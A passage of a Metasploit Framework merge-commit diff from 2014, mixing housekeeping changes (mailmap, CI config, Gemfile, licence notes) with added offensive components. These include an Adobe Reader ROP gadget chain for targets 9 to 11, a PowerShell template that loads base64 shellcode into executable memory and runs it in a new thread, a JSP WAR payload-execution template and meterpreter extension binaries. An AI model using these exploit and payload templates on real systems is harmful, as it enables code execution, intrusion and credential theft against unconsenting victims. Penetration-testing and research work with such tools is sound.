Merge remote-tracking branch 'upstream/master' into bypassuac_redo

Conflicts: lib/msf/core/post/windows.rb
2014-02-25 22:15:05 +00:00 · 2014-02-25 22:15:05 +00:00 · 8bdb22aeb9
parent 5e0143e24f 6f398f374e
commit 8bdb22aeb9
754 changed files with 34630 additions and 8670 deletions
--- a/.mailmap
+++ b/.mailmap
@ -2,6 +2,7 @@ bturner-r7 <bturner-r7@github>     Brandon Turner <brandon_turner@rapid7.com>
 dmaloney-r7 <dmaloney-r7@github>   David Maloney <David_Maloney@rapid7.com>
 dmaloney-r7 <dmaloney-r7@github>   David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
 ecarey-r7 <ecarey-r7@github>       Erran Carey <e@ipwnstuff.com>
+farias-r7 <farias-r7@github>       Fernando Arias <fernando_arias@rapid7.com>
 hmoore-r7 <hmoore-r7@github>       HD Moore <hd_moore@rapid7.com>
 hmoore-r7 <hmoore-r7@github>       HD Moore <hdm@digitaloffense.net>
 jlee-r7 <jlee-r7@github>           egypt <egypt@metasploit.com> # aka egypt
@ -13,13 +14,15 @@ jvazquez-r7 <jvazquez-r7@github>   jvazquez-r7 <juan.vazquez@metasploit.com>
 jvazquez-r7 <jvazquez-r7@github>   jvazquez-r7 <juan_vazquez@rapid7.com>
 limhoff-r7 <limhoff-r7@github>     Luke Imhoff <luke_imhoff@rapid7.com>
 shuckins-r7 <shuckins-r7@github>   Samuel Huckins <samuel_huckins@rapid7.com>
-tasos-r7 <tasos-r7@github>         Tasos Laskos <Tasos_Laskos@rapid7.com>
 todb-r7 <todb-r7@github>           Tod Beardsley <tod_beardsley@rapid7.com>
 todb-r7 <todb-r7@github>           Tod Beardsley <todb@metasploit.com>
+todb-r7 <todb-r7@github>           Tod Beardsley <todb@packetfu.com>
+trosen-r7 <trosen-r7@github>       Trevor Rosen <Trevor_Rosen@rapid7.com>
 wchen-r7 <wchen-r7@github>         sinn3r <msfsinn3r@gmail.com> # aka sinn3r
 wchen-r7 <wchen-r7@github>         sinn3r <wei_chen@rapid7.com>
 wchen-r7 <wchen-r7@github>         Wei Chen <Wei_Chen@rapid7.com>
 wvu-r7 <wvu-r7@github>             William Vu <William_Vu@rapid7.com>
+wvu-r7 <wvu-r7@github>             William Vu <wvu@metasploit.com>
 wvu-r7 <wvu-r7@github>             William Vu <wvu@nmt.edu>

 # Above this line are current Rapid7 employees. Below this paragraph are
@ -40,8 +43,8 @@ Chao-mu <Chao-Mu@github>               chao-mu <chao.mu@minorcrash.com>
 Chao-mu <Chao-Mu@github>               chao-mu <chao@confusion.(none)>
 ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
 ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
-corelanc0d3er <corelanc0d3er@github>   corelanc0d3r <peter.ve@corelan.be>
-corelanc0d3er <corelanc0d3er@github>   Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
+corelanc0d3r <corelanc0d3r@github>     corelanc0d3r <peter.ve@corelan.be>
+corelanc0d3r <corelanc0d3r@github>     Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
 darkoperator <darkoperator@github>     Carlos Perez <carlos_perez@darkoperator.com>
 efraintorres <efraintorres@github>     efraintorres <etlownoise@gmail.com>
 efraintorres <efraintorres@github>     et <>
@ -72,9 +75,18 @@ OJ <oj@github>                         OJ Reeves <oj@buffered.io>
 OJ <oj@github>                         OJ <oj@buffered.io>
 r3dy <r3dy@github>                     Royce Davis <r3dy@Royces-MacBook-Pro.local>
 r3dy <r3dy@github>                     Royce Davis <royce.e.davis@gmail.com>
+Rick Flores <0xnanoquetz9l@gmail.com>  Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
 rsmudge <rsmudge@github>               Raphael Mudge <rsmudge@gmail.com> # Aka `butane
 schierlm <schierlm@github>             Michael Schierl <schierlm@gmx.de> # Aka mihi
 scriptjunkie <scriptjunkie@github>     Matt Weeks <scriptjunkie@scriptjunkie.us>
 skape <skape@???>                      Matt Miller <mmiller@hick.org>
 spoonm <spoonm@github>                 Spoon M <spoonm@gmail.com>
 swtornio <swtornio@github>             Steve Tornio <swtornio@gmail.com>
+Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
+TrustedSec <davek@trustedsec.com>      trustedsec <davek@trustedsec.com>
+
+# Aliases for utility author names. Since they're fake, typos abound
+
+Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
+Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
+Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
--- a/.travis.yml
+++ b/.travis.yml
@ -1,11 +1,15 @@
 language: ruby
+env: MSF_SPOTCHECK_RECENT=1
 before_install:
+  - rake --version
  - sudo apt-get update -qq
  - sudo apt-get install -qq libpcap-dev
 before_script:
+  - ./tools/msftidy.rb
  - cp config/database.yml.travis config/database.yml
-  - rake db:create
-  - rake db:migrate
+  - bundle exec rake --version
+  - bundle exec rake db:create
+  - bundle exec rake db:migrate

 rvm:
  #- '1.8.7'
--- a/4
+++ b/4
@ -2,6 +2,8 @@ source 'https://rubygems.org'

 # Need 3+ for ActiveSupport::Concern
 gem 'activesupport', '>= 3.0.0'
+# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
+gem 'bcrypt-ruby'
 # Needed for some admin modules (scrutinizer_add_user.rb)
 gem 'json'
 # Needed by msfgui and other rpc components
@ -17,7 +19,7 @@ group :db do
  # Needed for Msf::DbManager
  gem 'activerecord'
  # Database models shared between framework and Pro.
-  gem 'metasploit_data_models', '~> 0.16.6'
+  gem 'metasploit_data_models', '~> 0.16.9'
  # Needed for module caching in Mdm::ModuleDetails
  gem 'pg', '>= 0.11'
 end
--- a/Gemfile.lock
+++ b/Gemfile.lock
@ -13,6 +13,7 @@ GEM
      i18n (~> 0.6, >= 0.6.4)
      multi_json (~> 1.0)
    arel (3.0.2)
+    bcrypt-ruby (3.1.2)
    builder (3.0.4)
    database_cleaner (1.1.1)
    diff-lcs (1.2.4)
@ -21,7 +22,7 @@ GEM
    fivemat (1.2.1)
    i18n (0.6.5)
    json (1.8.0)
-    metasploit_data_models (0.16.6)
+    metasploit_data_models (0.16.9)
      activerecord (>= 3.2.13)
      activesupport
      pg
@ -61,11 +62,12 @@ PLATFORMS
 DEPENDENCIES
  activerecord
  activesupport (>= 3.0.0)
+  bcrypt-ruby
  database_cleaner
  factory_girl (>= 4.1.0)
  fivemat (= 1.2.1)
  json
-  metasploit_data_models (~> 0.16.6)
+  metasploit_data_models (~> 0.16.9)
  msgpack
  network_interface (~> 0.0.1)
  nokogiri
--- a/5
+++ b/5
@ -86,7 +86,10 @@ for an overview of common and not-so-common Ruby version related gotchas.
 8. Never, ever use $global variables. This applies to modules, mixins,
 and libraries. If you need a "global" within a specific class, you can
 use @@class_variables, but most modules should use @instance variables
-to store information between methods. 
+to store information between methods.
+
+9. Don't craft your XML document raw or by using Nokogiri, the current
+preferred way is REXML.

 Creating New Modules
 ====================
--- a/96
+++ b/96
@ -15,6 +15,10 @@ License: BSD-3-clause
 # Last updated: 2013-Nov-04
 #

+Files: data/templates/to_mem_pshreflection.ps1.template
+Copyright: 2012, Matthew Graeber
+License: BSD-3-clause
+
 Files: data/john/*
 Copyright: 1996-2011 Solar Designer.
 License: GPL-2
@ -41,93 +45,10 @@ Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
           2007 H D Moore <hdm [at] metasploit.com>
 License: GPL-2 and Artistic

-Files: external/source/meterpreter/ReflectiveDLLInjection/*
-Copyright: 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+Files: external/source/ReflectiveDLLInjection/*
+Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
 License: BSD-3-clause

-Files: external/source/meterpreter/source/common/queue.h
-Copyright: 1991, 1993 The Regents of the University of California
-License: BSD-3-clause
-
-Files: external/source/meterpreter/source/common/zlib/* external/source/meterpreter/source/server/zlib/*
-Copyright: 1995-1996 Jean-loup Gailly and Mark Adler
-License: Zlib
-
-Files: external/source/meterpreter/source/bionic/libc/*
-Copyright: 2005-2008, The Android Open Source Project
-           2004 by Internet Systems Consortium, Inc. ("ISC")
-           1995,1996,1999 by Internet Software Consortium
-           1995 by International Business Machines, Inc.
-           1997,1998,1999,2004 The NetBSD Foundation, Inc.
-           1993 Christopher G. Demetriou
-           1983,1985,1989,1993 The Regents of the University of California
-           2000 Ben Harris
-           1995,1996,1997,1998 WIDE Project
-           2003 Networks Associates Technology, Inc.
-           1993 by Digital Equipment Corporation
-           1997 Mark Brinicombe
-           1993 Martin Birgmeier
-           1993 by Sun Microsystems, Inc.
-           1997, 2005 Todd C. Miller <Todd.Miller@courtesan.com>
-           1995, 1996 Carnegie-Mellon University
-           2003 Networks Associates Technology, Inc.
-License: BSD-3-clause and BSD-4-clause
-
-Files: external/source/meterpreter/source/bionic/libdl/*
-Copyright: 2007 The Android Open Source Project
-License: BSD-3-clause
-
-Files: external/source/meterpreter/source/bionic/libm/*
-Copyright: 2003, Steven G. Kargl
-           2003 Mike Barcroft <mike@FreeBSD.org>
-           2002-2005 David Schultz <das@FreeBSD.ORG>
-           2004 Stefan Farfeleder
-           2003 Dag-Erling Coïdan Smørgrav
-           1996 The NetBSD Foundation, Inc.
-           1985,1988,1991,1992,1993 The Regents of the University of California
-           1993,94 Winning Strategies, Inc.
-           1993, 2004 by Sun Microsystems, Inc.
-License: BSD-2-clause and BSD-3-clause and BSD-4-clause
-
-Files: external/source/meterpreter/source/extensions/espia/screen.c
-Copyright: 1994-2008, Mark Hammond
-License: BSD-2-clause
-
-Files: external/source/meterpreter/source/extensions/priv/server/timestomp.c
-Copyright: 2005 Vincent Liu
-License: GPL-2
-
-Files: external/source/meterpreter/source/extensions/stdapi/server/webcam/bmp2jpeg.c external/source/meterpreter/source/screenshot/bmp2jpeg.c
-Copyright: 1994-2008, Mark Hammond
-License: BSD-2-clause
-
-Files: external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun.c
-Copyright: 2010, patrickHVE@googlemail.com
-License: BSD-2-clause
-
-Files: external/source/meterpreter/source/pssdk/*
-Copyright: microOLAP
-License: N/A
-Comment: HD Moore holds a single-seat developer license for the Packet Sniffer
-         SDK library embedded into the Meterpreter Sniffer extension.  This
-         source code is not distributed with Metasploit Framework.
-
-Files: external/source/meterpreter/source/openssl/*
-Copyright: 1998-2002 The OpenSSL Project
-License: OpenSSL and SSLeay
-
-Files: external/source/meterpreter/source/server/posix/sfsyscall.h
-Copyright: 2003  Philippe Biondi <biondi@cartel-securite.fr>
-License: LGPL
-
-Files: external/source/meterpreter/source/jpeg-8/*
-Copyright: 1991-2010, Thomas G. Lane, Guido Vollbeding
-License: BSD-3-clause
-
-Files: external/source/meterpreter/source/libpcap/*
-Copyright: 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 The Regents of the University of California.
-License: BSD-4-clause
-
 Files: external/source/metsvc/*
 Copyright: 2007, Determina Inc.
 License: BSD-3-clause
@ -230,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
 Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
 License: BSD-3-clause

+Files: data/webcam/api.js
+Copyright: Copyright 2013 Muaz Khan<@muazkh>.
+License: MIT
+
+
 #
 # Gems
 #
--- a/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll
+++ b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll
--- a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll
+++ b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll
--- a/data/exploits/cve-2014-1610/metasploit.djvu
+++ b/data/exploits/cve-2014-1610/metasploit.djvu
--- a/data/exploits/cve-2014-1610/readme.md
+++ b/data/exploits/cve-2014-1610/readme.md
@ -0,0 +1 @@
+Any DjVu file can be used this is just a snazzy Metasploit one
--- a/data/js/detect/os.js
+++ b/data/js/detect/os.js
@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
 			} else if (platform.match(/arm/)) {
 				// Android and maemo
 				arch = arch_armle;
+				if (navigator.userAgent.match(/android/i)) {
+					os_flavor = 'Android';
+				}
 			}
 		} else if (platform.match(/windows/)) {
 			os_name = oses_windows;
@ -210,7 +213,13 @@ window.os_detect.getVersion = function(){
 		// Thanks to developer.mozilla.org "Firefox for developers" series for most
 		// of these.
 		// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
-		if (css_is_valid('background-attachment',
+		if (css_is_valid('cursor', 'cursor', 'grab')) {
+			ua_version = '27.0';
+		} else if (css_is_valid('image-orientation',
+		                 'imageOrientation',
+		                 '0deg')) {
+			ua_version = '26.0';
+		} else if (css_is_valid('background-attachment',
 		                 'backgroundAttachment',
 		                 'local')) {
 			ua_version = '25.0';
--- a/data/meterpreter/elevator.x64.dll
+++ b/data/meterpreter/elevator.x64.dll
--- a/data/meterpreter/elevator.x86.dll
+++ b/data/meterpreter/elevator.x86.dll
--- a/data/meterpreter/ext_server_espia.x64.dll
+++ b/data/meterpreter/ext_server_espia.x64.dll
--- a/data/meterpreter/ext_server_espia.x86.dll
+++ b/data/meterpreter/ext_server_espia.x86.dll
--- a/data/meterpreter/ext_server_extapi.x64.dll
+++ b/data/meterpreter/ext_server_extapi.x64.dll
--- a/data/meterpreter/ext_server_extapi.x86.dll
+++ b/data/meterpreter/ext_server_extapi.x86.dll
--- a/data/meterpreter/ext_server_incognito.x64.dll
+++ b/data/meterpreter/ext_server_incognito.x64.dll
--- a/data/meterpreter/ext_server_incognito.x86.dll
+++ b/data/meterpreter/ext_server_incognito.x86.dll
--- a/data/meterpreter/ext_server_lanattacks.x64.dll
+++ b/data/meterpreter/ext_server_lanattacks.x64.dll
--- a/data/meterpreter/ext_server_lanattacks.x86.dll
+++ b/data/meterpreter/ext_server_lanattacks.x86.dll
--- a/data/meterpreter/ext_server_mimikatz.x64.dll
+++ b/data/meterpreter/ext_server_mimikatz.x64.dll
--- a/data/meterpreter/ext_server_mimikatz.x86.dll
+++ b/data/meterpreter/ext_server_mimikatz.x86.dll
--- a/data/meterpreter/ext_server_networkpug.lso
+++ b/data/meterpreter/ext_server_networkpug.lso
--- a/data/meterpreter/ext_server_priv.x64.dll
+++ b/data/meterpreter/ext_server_priv.x64.dll
--- a/data/meterpreter/ext_server_priv.x86.dll
+++ b/data/meterpreter/ext_server_priv.x86.dll
--- a/data/meterpreter/ext_server_sniffer.lso
+++ b/data/meterpreter/ext_server_sniffer.lso
--- a/data/meterpreter/ext_server_sniffer.x64.dll
+++ b/data/meterpreter/ext_server_sniffer.x64.dll
--- a/data/meterpreter/ext_server_sniffer.x86.dll
+++ b/data/meterpreter/ext_server_sniffer.x86.dll
--- a/data/meterpreter/ext_server_stdapi.lso
+++ b/data/meterpreter/ext_server_stdapi.lso
--- a/data/meterpreter/ext_server_stdapi.x64.dll
+++ b/data/meterpreter/ext_server_stdapi.x64.dll
--- a/data/meterpreter/ext_server_stdapi.x86.dll
+++ b/data/meterpreter/ext_server_stdapi.x86.dll
--- a/data/meterpreter/meterpreter.py
+++ b/data/meterpreter/meterpreter.py
@ -158,15 +158,10 @@ class STDProcessBuffer(threading.Thread):
 		self.data_lock = threading.RLock()

 	def run(self):
-		while self.is_alive():
-			byte = self.std.read(1)
+		for byte in iter(lambda: self.std.read(1), ''):
 			self.data_lock.acquire()
 			self.data += byte
 			self.data_lock.release()
-		data = self.std.read()
-		self.data_lock.acquire()
-		self.data += data
-		self.data_lock.release()

 	def is_read_ready(self):
 		return len(self.data) != 0
--- a/data/meterpreter/metsrv.x64.dll
+++ b/data/meterpreter/metsrv.x64.dll
--- a/data/meterpreter/metsrv.x86.dll
+++ b/data/meterpreter/metsrv.x86.dll
--- a/data/meterpreter/msflinker_linux_x86.bin
+++ b/data/meterpreter/msflinker_linux_x86.bin
--- a/data/meterpreter/screenshot.x64.dll
+++ b/data/meterpreter/screenshot.x64.dll
--- a/data/meterpreter/screenshot.x86.dll
+++ b/data/meterpreter/screenshot.x86.dll
--- a/data/ropdb/reader.xml
+++ b/data/ropdb/reader.xml
@ -0,0 +1,132 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<db>
+
+<rop>
+  <compatibility>
+    <target>9</target>
+  </compatibility>
+
+  <gadgets base="0x4a800000">
+    <gadget offset="0x2313d">pop ecx # ret</gadget>
+    <gadget offset="0x2a713">push eax # pop esp # ret</gadget>
+    <gadget offset="0x01f90">pop eax # ret</gadget>
+    <gadget offset="0x49038">ptr to CreateFileMappingA()</gadget>
+    <gadget offset="0x07e7d">call [eax] # ret</gadget>
+    <gadget value="0xffffffff">HANDLE hFile</gadget>
+    <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
+    <gadget value="0x00000040">DWORD flProtect</gadget>
+    <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00000000">LPCTSTR lpName</gadget>
+    <gadget offset="0x0155a">pop edi # ret</gadget>
+    <gadget offset="0x43a84">pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x2d4de">pop ebx # ret</gadget>
+    <gadget offset="0x01f90">pop eax # ret</gadget>
+    <gadget offset="0x476aa">pop ecx # ret</gadget>
+    <gadget offset="0x49030">ptr to MapViewOfFile()</gadget>
+    <gadget offset="0x44122">mov edx, ecx</gadget>
+    <gadget offset="0x476aa">pop ecx # ret</gadget>
+    <gadget offset="0x07e7d">call [eax] # ret</gadget>
+    <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
+    <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
+    <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
+    <gadget offset="0x43a82">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x46c5e">jmp IAT msvcr80!memcpy</gadget>
+    <gadget offset="0x476ab">ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget value="0x00000400">memcpy length</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x17984">xchg eax, ebp # ret</gadget>
+    <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
+  </gadgets>
+</rop>
+
+<rop>
+  <compatibility>
+    <target>10</target>
+  </compatibility>
+
+  <gadgets base="0x4a800000">
+    <gadget offset="0x26015">pop ecx # ret</gadget>
+    <gadget offset="0x2e090">push eax # pop esp # ret</gadget>
+    <gadget offset="0x2007d">pop eax # ret</gadget>
+    <gadget offset="0x50038">ptr to CreateFileMappingA()</gadget>
+    <gadget offset="0x246d5">call [eax] # ret</gadget>
+    <gadget value="0xffffffff">HANDLE hFile</gadget>
+    <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
+    <gadget value="0x00000040">DWORD flProtect</gadget>
+    <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00000000">LPCTSTR lpName</gadget>
+    <gadget offset="0x05016">pop edi # ret</gadget>
+    <gadget offset="0x4420c">pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x14241">pop ebx # ret</gadget>
+    <gadget offset="0x2007d">pop eax # ret</gadget>
+    <gadget offset="0x26015">pop ecx # ret</gadget>
+    <gadget offset="0x50030">ptr to MapViewOfFile()</gadget>
+    <gadget offset="0x4b49d">mov edx, ecx</gadget>
+    <gadget offset="0x26015">pop ecx # ret</gadget>
+    <gadget offset="0x246d5">call [eax] # ret</gadget>
+    <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
+    <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
+    <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
+    <gadget offset="0x14013">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x4e036">jmp to IAT msvcr90!memcpy</gadget>
+    <gadget offset="0x2a8df">ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget value="0x00000400">memcpy length</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x18b31">xchg eax, ebp # ret</gadget>
+    <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
+  </gadgets>
+</rop>
+
+<rop>
+  <compatibility>
+    <target>11</target>
+  </compatibility>
+
+  <gadgets base="0x4a800000">
+    <gadget offset="0x5822c">pop ecx # ret</gadget>
+    <gadget offset="0x2f129">push eax # pop esp # ret</gadget>
+    <gadget offset="0x5597f">pop eax # ret</gadget>
+    <gadget offset="0x66038">ptr to CreateFileMappingA()</gadget>
+    <gadget offset="0x3f1d5">call [eax] # ret</gadget>
+    <gadget value="0xffffffff">HANDLE hFile</gadget>
+    <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
+    <gadget value="0x00000040">DWORD flProtect</gadget>
+    <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00000000">LPCTSTR lpName</gadget>
+    <gadget offset="0x55093">pop edi # ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x50030">pop ebx # pop esi # pop ebp # ret</gadget>
+    <gadget offset="0x5597f">pop eax # ret</gadget>
+    <gadget offset="0x50031">pop esi # pop ebp # ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x5822c">pop ecx # ret</gadget>
+    <gadget offset="0x3f1d5">call [eax] # ret</gadget>
+    <gadget offset="0x5d4f8">pop edx # ret</gadget>
+    <gadget offset="0x66030">ptr to MapViewOfFile()</gadget>
+    <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
+    <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
+    <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
+    <gadget offset="0x14856">pop edi # pop esi # pop ebp # ret</gadget>
+    <gadget offset="0x505a0">memcpy address</gadget>
+    <gadget offset="0x60bc4">call eax # ret</gadget>
+    <gadget offset="0x505a0">memcpy address</gadget>
+    <gadget offset="0x1c376">xchg eax, ebp # ret</gadget>
+    <gadget offset="0x463d0">pop ebx # ret</gadget>
+    <gadget value="0x00000400">memcpy length</gadget>
+    <gadget offset="0x5d4f8">pop edx # ret</gadget>
+    <gadget offset="0x5d4f8">pop edx # ret</gadget>
+    <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
+  </gadgets>
+</rop>
+</db>
--- a/data/templates/scripts/to_exe_jsp.war.template
+++ b/data/templates/scripts/to_exe_jsp.war.template
@ -39,11 +39,13 @@
 		if (%{var_proc}.waitFor() == 0) {
 			%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
 		}
-		
+
 		File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
-	} 
-	else 
+	}
+	else
 	{
-		Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
+		String[] %{var_exepatharray} = new String[1];
+		%{var_exepatharray}[0] = %{var_exepath};
+		Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
 	}
 %%>
--- a/data/templates/scripts/to_mem_pshreflection.ps1.template
+++ b/data/templates/scripts/to_mem_pshreflection.ps1.template
@ -0,0 +1,27 @@
+function %{func_get_proc_address} {
+	Param ($%{var_module}, $%{var_procedure})		
+	$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
+	
+	return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
+}
+
+function %{func_get_delegate_type} {
+	Param (
+		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
+		[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
+	)
+	
+	$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+	$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
+	$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
+	
+	return $%{var_type_builder}.CreateType()
+}
+
+[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
+		
+$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
+[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
+
+$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
+[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
--- a/data/vncdll.dll
+++ b/data/vncdll.dll
--- a/data/vncdll.x64.dll
+++ b/data/vncdll.x64.dll
--- a/data/vncdll.x86.dll
+++ b/data/vncdll.x86.dll
--- a/data/webcam/answerer.html
+++ b/data/webcam/answerer.html
@ -0,0 +1,193 @@
+<html>
+<head>
+<title>webcam_chat</title>
+<style type="text/css">
+	div.container {
+		position: relative;
+	}
+
+	div.windowa {
+		height: 480px;
+		width: 640px;
+		border-radius: 15px;
+		-moz-border-raidus: 15px;
+		background-color: black;
+		position: absolute;
+		left: 50;
+		padding : 10px;
+		margin-left: auto;
+		margin-right: auto;
+		text-align: center;
+		vertical-align: middle;
+		color: white;
+	}
+
+	div.windowb {
+		height: 180px;
+		width: 200px;
+		border-radius: 15px;
+		-moz-border-raidus: 15px;
+		background-color: #9B9B9B;
+		position: absolute;
+		top: 480;
+		left: 470;
+		padding: 10px;
+		margin-left: auto;
+		margin-right: auto;
+		text-align: center;
+		vertical-align: middle;
+	}
+
+	div.windowc {
+		position: absolute;
+		top: 510;
+		left: 80;
+		height: 150px;
+		width: 380px;
+		color: red;
+	}
+
+	div.footer {
+		position: fixed;
+		bottom: 0;
+		width: 100%;
+		padding: 10px;
+	}
+
+	video.peer {
+		position: absolute;
+		top: 15;
+		left: 10;
+	}
+
+	video.self {
+		position: absolute;
+		top: 5;
+		left: 10;
+	}
+</style>
+<script src="=WEBRTCAPIJS="> </script>
+<script>
+	window.onerror = function(e) {
+		document.getElementById("message").innerHTML = "Error: " + e.toString();
+	}
+
+	window.onload = function() {
+		document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
+	}
+
+	var channel = '=CHANNEL=';
+	var websocket = new WebSocket('ws://=SERVER=');
+	var inSession = false;
+
+	websocket.onopen = function() {
+		websocket.push(JSON.stringify({
+			open: true,
+			channel: channel
+		}));
+	};
+
+	websocket.push = websocket.send;
+	websocket.send = function(data) {
+		websocket.push(JSON.stringify({
+			data: data,
+			channel: channel
+		}));
+	};
+
+	var peer = new PeerConnection(websocket);
+	peer.onUserFound = function(userid) {
+		if (inSession) {
+			console.debug("Already in session, will not send another participation request");
+			return;
+		};
+
+		userid = "=OFFERERID=";
+
+		getUserMedia(function(stream) {
+			peer.addStream(stream);
+			peer.sendParticipationRequest(userid);
+			inSession = true;
+			document.getElementById("message").innerHTML = "Session is now active.";
+		});
+	};
+
+	peer.onStreamAdded = function(e) {
+		var video = e.mediaElement;
+		if (e.userid == 'self') {
+			video.controls = true;
+			video.setAttribute('width', 200);
+			video.setAttribute('height', 190);
+			video.setAttribute('controls', false);
+			video.setAttribute('class', 'self');
+			document.getElementById("windowb").appendChild(video);
+		}
+		else {
+			video.controls = true;
+			video.setAttribute('width', 640);
+			video.setAttribute('height', 460);
+			video.setAttribute('controls', false);
+			video.setAttribute('class', 'peer');
+			document.getElementById("windowa").appendChild(video);
+		}
+		video.muted = false;
+		video.volume = 0.5;
+		video.play();
+	};
+
